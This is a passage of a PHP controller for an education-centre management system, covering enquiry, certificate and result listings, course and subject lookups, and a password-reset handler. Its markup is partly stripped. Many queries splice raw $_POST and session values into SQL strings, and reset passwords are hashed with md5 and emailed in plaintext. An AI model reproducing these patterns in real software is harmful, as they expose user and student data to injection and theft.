    '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // generate certificate // PENDING ENQUIRY public function pending_enquiry() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); if($_SESSION['type'] == 1){ $center = 'all'; $type=$_SESSION['type']; }else{ $type=$_SESSION['type']; $center = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row('id'); } $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $status=$_POST['status']; // die(var_dump($status)); $totalData = count_all_pending_list($status,$type,$center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_pending_list($limit, $start, $order, $dir,$status,$type,$center); } else { $search = $this->input->post('search')['value']; $posts = pending_list_search($limit, $start, $search, $order, $dir,$status,$type,$center); $totalFiltered = pending_list_search_count($search,$status,$type,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status==0){ $status='PENDING'; }elseif($post->status==1){ $status='APPROVE '; }else{ $status='CANCEL'; } $nestedData['SR_NO'] = $i; $nestedData['ENQ_DATE'] = date('Y-m-d',strtotime($post->enquiry_date)); $nestedData['FOLLOW_DATE'] = date('Y-m-d',strtotime($post->followup)); $nestedData['NAME'] = $post->name; $nestedData['EMAIL'] = $post->emailid; $nestedData['MOBILE'] = $post->mobile; $nestedData['DOB'] = $post->dob; $nestedData['COURSE'] = $post->course_name; $nestedData['SESSION'] = $post->start.'-'.$post->end; $nestedData['REMARKS'] = @$post->remarks; $nestedData['SOURCE'] = @$post->source; $nestedData['STATUS'] = $status; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // all enquiry public function all_enquiry() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); if($_SESSION['type'] == 1){ $center = 'all'; $type=$_SESSION['type']; }else{ $type=$_SESSION['type']; $center = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row('id'); } $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $status=0; // die(var_dump($status)); $totalData = count_all_enquiry_list($status,$center,$type); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_enquiry_list($limit, $start, $order, $dir,$status,$center,$type); } else { $search = $this->input->post('search')['value']; $posts = enquiry_list_search($limit, $start, $search, $order, $dir,$status,$center,$type); $totalFiltered = enquiry_list_search_count($search,$status,$center,$type); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status==0){ $status='PENDING'; }elseif($post->status==1){ $status='APPROVE '; }else{ $status='CANCEL'; } $nestedData['SR_NO'] = $i; $nestedData['ENQ_DATE'] = date('Y-m-d',strtotime($post->enquiry_date)); $nestedData['FOLLOW_DATE'] = date('Y-m-d',strtotime($post->followup)); $nestedData['NAME'] = $post->name; $nestedData['EMAIL'] = $post->emailid; $nestedData['MOBILE'] = $post->mobile; $nestedData['DOB'] = $post->dob; $nestedData['COURSE'] = $post->course_name; $nestedData['SESSION'] = $post->start.'-'.$post->end; $nestedData['REMARKS'] = @$post->remarks; $nestedData['SOURCE'] = @$post->source; $nestedData['STATUS'] = $status; $nestedData['ACTION'] = '
    '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*----------------------- END STUDENT LIST --------------------------------------------------*/ public function get_course() { $method = $_SERVER['REQUEST_METHOD']; if ($method != 'POST') { json_output(400, array('status' => 400, 'message' => 'Bad request.')); } else { $check_auth_client = $this->Authentication_model->check_auth_client(); if ($check_auth_client == true) { $response = $this->Authentication_model->auth(); if ($response['status'] == 200) { $get = $this->db->query("SELECT * FROM students where enrollment_no = '".$_POST['enrollment_no']."'")->row(); $c = $this->db->query("SELECT * FROM courses where id = '".@$get->course_id."'")->row(); $response = @$c->course_name.'|'.@$c->id; //$response = get_all_states(); json_output(200, $response); } else if ($response['status'] == 303) { $this->Common_model->logout(); $this->session->sess_destroy(); json_output(401, $response); } } } } // get course by enrollment public function get_course_by_enrollment() { $method = $_SERVER['REQUEST_METHOD']; if ($method != 'POST') { json_output(400, array('status' => 400, 'message' => 'Bad request.')); } else { $check_auth_client = $this->Authentication_model->check_auth_client(); if ($check_auth_client == true) { $response = $this->Authentication_model->auth(); if ($response['status'] == 200) { // die(var_dump($_POST['enrollment_no'])); $get = $this->db->query("SELECT * FROM students where enrollment_no = '".$_POST['enrollment_no']."'")->row(); // die(var_dump("SELECT * FROM students where id = '".$get->course_id."'")); $c = $this->db->query("SELECT * FROM courses where id = '".@$get->course_id."'")->row(); // die(var_dump($c)); $response = ''; $response.= ' '; $response.= ' '; $response.=' '; json_output(200, $response); } else if ($response['status'] == 303) { $this->Common_model->logout(); $this->session->sess_destroy(); json_output(401, $response); } } } } public function get_roll() { $method = $_SERVER['REQUEST_METHOD']; if ($method != 'POST') { json_output(400, array('status' => 400, 'message' => 'Bad request.')); } else { $check_auth_client = $this->Authentication_model->check_auth_client(); if ($check_auth_client == true) { $response = $this->Authentication_model->auth(); if ($response['status'] == 200) { $get = $this->db->query("SELECT * FROM admit_card where enrollment_no = '".$_POST['enrollment_no']."'")->row(); $c = $this->db->query("SELECT * FROM courses where id = '".@$get->course_id."'")->row(); $response = @$get->roll_no.'|'.@$c->id.'|'.@$c->course_name; //$response = get_all_states(); json_output(200, $response); } else if ($response['status'] == 303) { $this->Common_model->logout(); $this->session->sess_destroy(); json_output(401, $response); } } } } public function get_subject() { $method = $_SERVER['REQUEST_METHOD']; if ($method != 'POST') { json_output(400, array('status' => 400, 'message' => 'Bad request.')); } else { $check_auth_client = $this->Authentication_model->check_auth_client(); if ($check_auth_client == true) { $response = $this->Authentication_model->auth(); if ($response['status'] == 200) { // die(var_dump("SELECT * FROM subjects where course_id = '".$_POST['course_id']."' and year = '".$_POST['year']."'")); $response = ''; if(empty($_POST['result_id'])){ $get = $this->db->query("SELECT * FROM subjects where course_id = '".$_POST['course_id']."' and year = '".$_POST['year']."'")->result(); foreach($get as $g){ if( $g->practical ==2){ $response.= '

    [Max Marks: '.$g->max_marks.'] | [Min Marks: '.$g->min_marks.']

    [Max Marks: '.$g->practical_max_marks.'] | [Min Marks: '.$g->practical_min_marks.']
    '; }elseif( $g->practical ==1){ $response.= '

    [Max Marks: '.$g->practical_max_marks.'] | [Min Marks: '.$g->practical_min_marks.']
    '; }elseif( $g->practical ==0){ $response.= '

    [Max Marks: '.$g->max_marks.'] | [Min Marks: '.$g->min_marks.']
    '; } } $response.= '
    '; }else{ $get_result = $this->db->query("SELECT * FROM subjects where course_id = '".$_POST['course_id']."' and year = '".$_POST['year']."'")->result(); $result=$this->db->get_where('results',['id'=>$_POST['result_id']])->row(); foreach($get_result as $g){ // $subject_id=$g-> $marks=$this->db->get_where('marks_table',['subject_id'=>@$g->id,'result_id'=>@$_POST['result_id']])->row(); if( $g->practical ==2){ $response.= '

    [Max Marks: '.$g->max_marks.'] | [Min Marks: '.$g->min_marks.']

    [Max Marks: '.$g->practical_max_marks.'] | [Min Marks: '.$g->practical_min_marks.']
    '; }elseif( $g->practical ==1){ $response.= '

    [Max Marks: '.$g->practical_max_marks.'] | [Min Marks: '.$g->practical_min_marks.']
    '; }elseif( $g->practical ==0){ $response.= '

    [Max Marks: '.$g->max_marks.'] | [Min Marks: '.$g->min_marks.']
    '; } } $response.= '
    '; } //$response = get_all_states(); json_output(200, $response); } else if ($response['status'] == 303) { $this->Common_model->logout(); $this->session->sess_destroy(); json_output(401, $response); } } } } // get course type public function get_course_type() { $method = $_SERVER['REQUEST_METHOD']; if ($method != 'POST') { json_output(400, array('status' => 400, 'message' => 'Bad request.')); } else { $check_auth_client = $this->Authentication_model->check_auth_client(); if ($check_auth_client == true) { $response = $this->Authentication_model->auth(); if ($response['status'] == 200) { $response = ''; $get_type = $this->db->query("SELECT * FROM courses where id = '".$_POST['course_id']."'")->row(); if($get_type->type==2){ $years=$get_type->years; $response.= ' '; for($i=1; $i<=$years;$i++){ if($i==1){ $st='st year'; }elseif($i==2){ $st='nd year'; }elseif($i==3){ $st='rd year'; }else{ $st='th year'; } $year=$i.$st; $response.= ' '; } } if($get_type->type==1){ $years=$get_type->duration; $response.= ' '; $response.= ' '; } json_output(200, $response); } else if ($response['status'] == 303) { $this->Common_model->logout(); $this->session->sess_destroy(); json_output(401, $response); } } } } // get year public function get_year() { $method = $_SERVER['REQUEST_METHOD']; if ($method != 'POST') { json_output(400, array('status' => 400, 'message' => 'Bad request.')); } else { $check_auth_client = $this->Authentication_model->check_auth_client(); if ($check_auth_client == true) { $response = $this->Authentication_model->auth(); if ($response['status'] == 200) { $response = ''; $get_type = $this->db->query("SELECT * FROM courses where id = '".$_POST['course_id']."'")->row(); if($get_type->type==1){ $years=$get_type->duration; $response.= ' '; } if($get_type->type==2){ $years=$get_type->years; $response.= ' '; } json_output(200, $response); } else if ($response['status'] == 303) { $this->Common_model->logout(); $this->session->sess_destroy(); json_output(401, $response); } } } } public function get_year_by_course() { $method = $_SERVER['REQUEST_METHOD']; if ($method != 'POST') { json_output(400, array('status' => 400, 'message' => 'Bad request.')); } else { $check_auth_client = $this->Authentication_model->check_auth_client(); if ($check_auth_client == true) { $response = $this->Authentication_model->auth(); if ($response['status'] == 200) { $response = ''; $get_type = $this->db->query("SELECT * FROM courses where id = '".$_POST['course_id']."'")->row(); if($get_type->type==1){ $years=$get_type->duration; $response.= ' '; } if($get_type->type==2){ $years=$get_type->years; $response.= ' '; } json_output(200, $response); } else if ($response['status'] == 303) { $this->Common_model->logout(); $this->session->sess_destroy(); json_output(401, $response); } } } } // get year web public function get_year_web() { $method = $_SERVER['REQUEST_METHOD']; if ($method != 'POST') { json_output(400, array('status' => 400, 'message' => 'Bad request.')); } else { $check_auth_client = $this->Authentication_model->check_auth_client(); if ($check_auth_client == true) { $response = $this->Authentication_model->auth(); if ($response['status'] == 200) { $response = ''; // if(empty($_POST['result_id'])){ $get_type = $this->db->query("SELECT * FROM courses where id = '".$_POST['course_id']."'")->row(); if($get_type->type==2){ // $get = $this->db->query("SELECT * FROM courses where course_id = '".$_POST['course_id']."'")->row(); $years=$get_type->years; // foreach($get as $g){ $response.= '
    '; // //
    [Max Marks: '.$g->max_marks.'] | [Min Marks: '.$g->min_marks.'] // // '; // if( $g->practical ==2){ // $response.= '
    //
    [Max Marks: '.$g->practical_max_marks.'] | [Min Marks: '.$g->practical_min_marks.'] // //
    '; // }elseif( $g->practical ==1){ // $response.= '
    //
    [Max Marks: '.$g->practical_max_marks.'] | [Min Marks: '.$g->practical_min_marks.'] // //
    '; // } } // } // }else{ // $get_result = $this->db->query("SELECT * FROM subjects where course_id = '".$_POST['course_id']."'")->result(); // $result=$this->db->get_where('results',['id'=>$_POST['result_id']])->row(); // foreach($get_result as $g){ // // $subject_id=$g-> // $marks=$this->db->get_where('marks_table',['subject_id'=>@$g->id,'result_id'=>@$_POST['result_id']])->row(); // $response.= ' //
    //
    [Max Marks: '.$g->max_marks.'] | [Min Marks: '.$g->min_marks.'] // //
    // '; // if( $g->practical ==2){ // $response.= '
    //
    [Max Marks: '.$g->practical_max_marks.'] | [Min Marks: '.$g->practical_min_marks.'] // //
    '; // }elseif( $g->practical ==1){ // $response.= '
    //
    [Max Marks: '.$g->practical_max_marks.'] | [Min Marks: '.$g->practical_min_marks.'] // //
    '; // } // } // $response.= '
    // // //
    //
    // // //
    //
    // //
    // '; // } //$response = get_all_states(); json_output(200, $response); } else if ($response['status'] == 303) { $this->Common_model->logout(); $this->session->sess_destroy(); json_output(401, $response); } } } } /*------------------ START UPLOAD CERTIFICATE LIST -------------------------------*/ public function uploaded_certificate_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $totalData = count_all_uploaded_certificate_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_uploaded_certificate_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = uploaded_certificate_list_search($limit, $start, $search, $order, $dir); $totalFiltered = uploaded_certificate_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $image = '
    '; $nestedData['SR_NO'] = $i; $nestedData['PHOTO'] = $image; $nestedData['ROLL_NO'] = $post->enrollment_no; $nestedData['ACTION'] = '
    '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*---------------------- END UPLOAD CERTIFICATE LIST -------------------------------*/ public function get_subject_list() { $method = $_SERVER['REQUEST_METHOD']; if ($method != 'POST') { json_output(400, array('status' => 400, 'message' => 'Bad request.')); } else { $check_auth_client = $this->Authentication_model->check_auth_client(); if ($check_auth_client == true) { $response = $this->Authentication_model->auth(); if ($response['status'] == 200) { $response = ''; $response.= ''; $i=1; $get = $this->db->query("SELECT *,subjects.id as subjectid,subjects.year as yearid FROM subjects LEFT JOIN courses ON courses.id=subjects.course_id where course_id = '".$_POST['course_id']."'")->result(); foreach($get as $g){ if($g->type==1){ $years=$g->duration; } if($g->type==2){ $years=$g->yearid.' Year'; } if($g->practical == 0){ $marks = ' '; }else if($g->practical == 1){ $marks = ' '; }else{ $marks = ' '; } $response.= ' '.$marks.' '; } $response.= '
    # SUBJECT NAME SUBJECT CODE SUBJECT YEAR THEORY MAX THEORY MIN PRACTICAL MAX PRACTICAL MIN Remove
    '.$g->max_marks.' '.$g->min_marks.' '.$g->practical_max_marks.' '.$g->practical_min_marks.''.$g->max_marks.' '.$g->min_marks.' '.$g->practical_max_marks.' '.$g->practical_min_marks.'
    '.$i++.' '.$g->subject_name.' '.$g->SUBJECT_CODE.' '.$years.'
    '; //$response = get_all_states(); json_output(200, $response); } else if ($response['status'] == 303) { $this->Common_model->logout(); $this->session->sess_destroy(); json_output(401, $response); } } } } /*------------------ START UPLOAD CERTIFICATE LIST -------------------------------*/ public function uploaded_result_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $totalData = count_all_uploaded_result_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_uploaded_result_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = uploaded_result_list_search($limit, $start, $search, $order, $dir); $totalFiltered = uploaded_result_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $image = '
    '; $nestedData['SR_NO'] = $i; $nestedData['PHOTO'] = $image; $nestedData['ROLL_NO'] = $post->enrollment_no; $nestedData['ACTION'] = '
    '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*---------------------- END UPLOAD CERTIFICATE LIST -------------------------------*/ /*------------ start occupation list ----------------------------------------------------*/ public function occupation_list() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_occupation_type(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_occupation_type($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = occupation_type_search($limit, $start, $search, $order, $dir); $totalFiltered = occupation_type_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['BRAND_NAME'] = $post->BUSINESS_NAME; $nestedData['ACTION'] = ' '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*----------- end occupation list -----------------------------------------------------*/ /*------------ start occupation list ----------------------------------------------------*/ public function batch_list() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_batch_type(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_batch_type($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = batch_type_search($limit, $start, $search, $order, $dir); $totalFiltered = batch_type_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['BRAND_NAME'] = $post->BATCH_NAME; $nestedData['ACTION'] = ' '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function session_list() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_session_type(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_session_type($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = session_type_search($limit, $start, $search, $order, $dir); $totalFiltered = session_type_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['START'] = $post->start; $nestedData['END'] = $post->end; $nestedData['ACTION'] = '
    '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*----------- end occupation list -----------------------------------------------------*/ public function director_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $status = $_POST['status']; $totalData = count_all_chairman($status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_chairman($limit, $start, $order, $dir,$status); } else { $search = $this->input->post('search')['value']; $posts = chairman_search($limit, $start, $search, $order, $dir,$status); $totalFiltered = chairman_search_count($search,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $post->CHAIRMAN_NAME; $nestedData['FB_PER_NAME'] = $post->CHAIRMAN_EMAIL; $nestedData['FB_COMMENT'] = $post->CHAIRMAN_CONTACT; $nestedData['STATUS'] = $post->CHAIRMAN_TITLE; $nestedData['ACTION'] = '
    '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*-------------- start state office -------------------------------------------------------*/ public function state_office_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $status = $_POST['status']; $totalData = count_all_state_office($status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_state_office($limit, $start, $order, $dir,$status); } else { $search = $this->input->post('search')['value']; $posts = state_office_search($limit, $start, $search, $order, $dir,$status); $totalFiltered = state_office_search_count($search,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['FB_PER_NAME'] = $post->SO_NAME; $nestedData['FB_COMMENT'] = $post->SO_MOBILE; $nestedData['STATUS'] = $post->SO_EMAIL; $nestedData['STATE'] = $post->STATE_NAME; $nestedData['DISTRICT'] = $post->DISTRICT_NAME; $nestedData['ADD'] = $post->SO_ADDRESS; $nestedData['ACTION'] = '
    '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*----------------- end state office ----------------------------------------------------*/ public function print_result_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $center = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row('id'); } $totalData = count_all_result($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_result($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = all_result_search($limit, $start, $search, $order, $dir,$center); $totalFiltered = all_result_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $year=date('Y',strtotime(@$post->timestamp)); if($post->COURSE_TYPE==2){ $duration = ''.$post->PASSING_YEAR.' Year '; $course_timing = ''.$post->YEAR_DURATION.' Year '; }else{ $duration = ''.$post->MONTH_DURATION.'-Months '; $course_timing = ''.$post->MONTH_DURATION.' Year '; } $course_code = ''.$post->COURSE_CODE.' '; $enrollment = ''.$post->ENROLLMENT_NO.' '; $nestedData['SR_NO'] = $i; $nestedData['STUDENT'] = $post->STUDENT_NAME.$enrollment.$duration; $nestedData['ROLL_NO'] = $post->ROLL_NO; $nestedData['COURSE'] = $post->COURSE_NAME.$course_code.$course_timing; $nestedData['YEAR'] = @$post->BATCH_NAME; $nestedData['SESSION'] = $post->CENTER_NUMBER; $nestedData['SUBJECT'] = $post->CENTER_NAME; $nestedData['ACTION'] = '
    '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function print_student_certificate() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); if($_SESSION['type'] == 1){ // die('here'); $center = 'all'; $type=$_SESSION['type']; }else{ $type=$_SESSION['type']; $center = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row('id'); } $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status=$_POST['status']; // die(var_dump($center)); $totalData = count_all_generate_certificate_list($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_generate_certificate_list($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = generate_certificate_list_search($limit, $start, $search, $order, $dir,$center); $totalFiltered = generate_certificate_list_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; $max_marks=''; $obt_marks=''; foreach ($posts as $post) { if($post->status==0){ $status='PENDING'; }elseif($post->status==1){ $status='CREATED '; }else{ $status='CANCEL'; } if($post->ctype==1){ $duration=$post->duration.'months'; }else{ $duration=$post->year.'years'; } $nestedData['SR_NO'] = $i; $nestedData['DATE'] = date('Y-m-d',strtotime($post->timestamp)); $nestedData['NAME'] = $post->name; $nestedData['ENROLLMENT'] = $post->enrollment_no; $nestedData['COURSE'] = $post->course_name; $nestedData['DURATION'] = $duration; $nestedData['YEAR'] = $post->year; $nestedData['PERCENTAGE'] = @$post->percentage; $nestedData['RESULT'] = @$post->result; $nestedData['STATUS'] = @$status; /* if($post->status==0){ */ if($_SESSION['type'] == 1){ $nestedData['ACTION'] = '
    '; }else{ $nestedData['ACTION'] = ' '; } /* }else{ $nestedData['ACTION'] = '
    '; } */ $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*----------------- start password reset ------------------------------------------*/ public function password_reset_req() { $method = $_SERVER['REQUEST_METHOD']; if ($method != 'POST') { json_output(400, array('status' => 400, 'message' => 'Bad request.')); } else { $check_auth_client = $this->Authentication_model->check_auth_client(); if ($check_auth_client == true) { $params = $_REQUEST; $username = $_POST['user_email']; $six_digit_random_number = random_int(100000, 999999); // $centerid = time(); $num = $this->db->query("SELECT * FROM `centers` WHERE `email_id` LIKE '".$_POST['user_email']."'")->num_rows(); if($num > 0){ $row = $this->db->query("SELECT * FROM `centers` WHERE `email_id` LIKE '".$_POST['user_email']."'")->row(); $this->db->where('id',$row->id); $this->db->update('centers',['password'=>md5($six_digit_random_number)]); /*---------- start send email ---------------------*/ $from = 'info@vhtecindia.com'; $to = $_POST['user_email']; $username = $row->username; $password = $six_digit_random_number; $name = 'Pankaj'; $this->send_email3($from,$to,$username,$password,$name); /*------------- end send email ----------------------*/ $response['message'] = 'password Send In Mail'; }else{ $response['message'] = 'password Send In Mail'; } $response['status'] = '200'; json_output($response['status'], $response); if ($response['message'] == "ok") { // insert_activity_history(1,0); } } } } public function send_email3($from,$to,$username,$password,$name){ /*----------- send email start 